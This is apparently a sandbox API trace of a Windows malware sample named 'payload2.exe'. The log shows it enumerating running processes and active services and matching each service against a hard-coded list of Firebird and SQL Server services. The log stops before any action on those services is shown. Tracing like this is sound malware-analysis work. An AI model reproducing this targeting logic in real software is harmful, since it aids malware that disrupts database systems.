	[0200.437] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0200.437] lstrlenW (lpString="audiodg.exe") returned 11
	[0200.438] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0200.438] lstrlenW (lpString="sihost.exe") returned 10
	[0200.438] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0200.438] lstrlenW (lpString="svchost.exe") returned 11
	[0200.439] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0200.439] lstrlenW (lpString="taskhostw.exe") returned 13
	[0200.439] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0200.439] lstrlenW (lpString="msoia.exe") returned 9
	[0200.440] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0200.440] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0200.440] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0200.440] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0200.441] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0200.441] lstrlenW (lpString="Memory Compression") returned 18
	[0200.441] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0200.442] lstrlenW (lpString="explorer.exe") returned 12
	[0200.442] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0200.442] lstrlenW (lpString="SearchUI.exe") returned 12
	[0200.442] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0200.443] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0200.443] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0200.443] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0200.443] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0200.444] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0200.444] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0200.444] lstrlenW (lpString="payload2.exe") returned 12
	[0200.444] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0200.445] lstrlenW (lpString="dllhost.exe") returned 11
	[0200.445] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0200.445] lstrlenW (lpString="dllhost.exe") returned 11
	[0200.445] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0200.446] CloseHandle (hObject=0x4fc) returned 1
	[0200.446] Sleep (dwMilliseconds=0x1f4) 
	[0201.371] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x667fe8
	[0201.372] EnumServicesStatusExW (in: hSCManager=0x667fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0201.372] GetLastError () returned 0xea
	[0201.372] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bc4) returned 0x4472148
	[0201.373] EnumServicesStatusExW (in: hSCManager=0x667fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4472148, cbBufSize=0x1bc4, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4472148, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0201.374] CloseServiceHandle (hSCObject=0x667fe8) returned 1
	[0201.374] lstrlenW (lpString="Appinfo") returned 7
	[0201.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0201.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0201.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0201.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0201.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0201.374] lstrlenW (lpString="AppXSvc") returned 7
	[0201.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0201.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0201.374] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0201.374] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0201.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0201.374] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0201.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0201.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0201.374] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0201.374] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0201.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0201.375] lstrlenW (lpString="Audiosrv") returned 8
	[0201.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0201.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0201.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0201.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0201.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0201.375] lstrlenW (lpString="BFE") returned 3
	[0201.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0201.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0201.375] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0201.375] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0201.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0201.375] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0201.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0201.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0201.375] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0201.375] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0201.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0201.375] lstrlenW (lpString="CDPSvc") returned 6
	[0201.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0201.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0201.375] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0201.375] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0201.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0201.375] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0201.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0201.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0201.375] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0201.375] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0201.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0201.376] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0201.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0201.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0201.376] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0201.376] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0201.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0201.376] lstrlenW (lpString="CryptSvc") returned 8
	[0201.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0201.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0201.376] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0201.376] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0201.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0201.376] lstrlenW (lpString="DcomLaunch") returned 10
	[0201.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0201.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0201.376] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0201.376] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0201.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0201.376] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0201.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0201.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0201.376] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0201.376] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0201.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0201.376] lstrlenW (lpString="Dhcp") returned 4
	[0201.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0201.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0201.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0201.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0201.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0201.376] lstrlenW (lpString="Dnscache") returned 8
	[0201.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0201.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0201.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0201.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0201.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0201.377] lstrlenW (lpString="DPS") returned 3
	[0201.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0201.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0201.377] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0201.377] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0201.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0201.377] lstrlenW (lpString="DusmSvc") returned 7
	[0201.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0201.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0201.377] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0201.377] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0201.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0201.377] lstrlenW (lpString="EventLog") returned 8
	[0201.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0201.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0201.377] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0201.377] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0201.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0201.377] lstrlenW (lpString="EventSystem") returned 11
	[0201.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0201.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0201.377] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0201.377] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0201.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0201.377] lstrlenW (lpString="FontCache") returned 9
	[0201.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0201.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0201.377] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0201.377] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0201.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0201.378] lstrlenW (lpString="gpsvc") returned 5
	[0201.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0201.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0201.378] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0201.378] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0201.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0201.378] lstrlenW (lpString="iphlpsvc") returned 8
	[0201.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0201.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0201.378] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0201.378] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0201.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0201.378] lstrlenW (lpString="KeyIso") returned 6
	[0201.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0201.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0201.378] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0201.378] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0201.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0201.378] lstrlenW (lpString="LanmanServer") returned 12
	[0201.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0201.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0201.378] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0201.378] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0201.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0201.378] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0201.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0201.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0201.378] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0201.378] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0201.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0201.378] lstrlenW (lpString="lfsvc") returned 5
	[0201.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0201.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0201.379] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0201.379] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0201.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0201.379] lstrlenW (lpString="lmhosts") returned 7
	[0201.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0201.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0201.379] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0201.379] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0201.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0201.379] lstrlenW (lpString="LSM") returned 3
	[0201.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0201.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0201.379] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0201.379] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0201.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0201.379] lstrlenW (lpString="MpsSvc") returned 6
	[0201.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0201.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0201.379] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0201.379] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0201.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0201.379] lstrlenW (lpString="NcbService") returned 10
	[0201.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0201.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0201.379] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0201.379] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0201.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0201.379] lstrlenW (lpString="netprofm") returned 8
	[0201.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0201.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0201.380] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0201.380] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0201.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0201.380] lstrlenW (lpString="NgcSvc") returned 6
	[0201.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0201.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0201.380] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0201.380] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0201.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0201.380] lstrlenW (lpString="NlaSvc") returned 6
	[0201.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0201.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0201.380] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0201.380] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0201.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0201.380] lstrlenW (lpString="nsi") returned 3
	[0201.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0201.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0201.380] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0201.380] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0201.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0201.380] lstrlenW (lpString="PcaSvc") returned 6
	[0201.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0201.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0201.380] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0201.380] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0201.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0201.380] lstrlenW (lpString="PlugPlay") returned 8
	[0201.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0201.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0201.380] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0201.381] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0201.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0201.381] lstrlenW (lpString="Power") returned 5
	[0201.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0201.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0201.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0201.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0201.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0201.381] lstrlenW (lpString="ProfSvc") returned 7
	[0201.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0201.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0201.381] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0201.381] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0201.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0201.381] lstrlenW (lpString="RpcEptMapper") returned 12
	[0201.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0201.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0201.381] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0201.381] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0201.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0201.381] lstrlenW (lpString="RpcSs") returned 5
	[0201.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0201.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0201.381] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0201.381] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
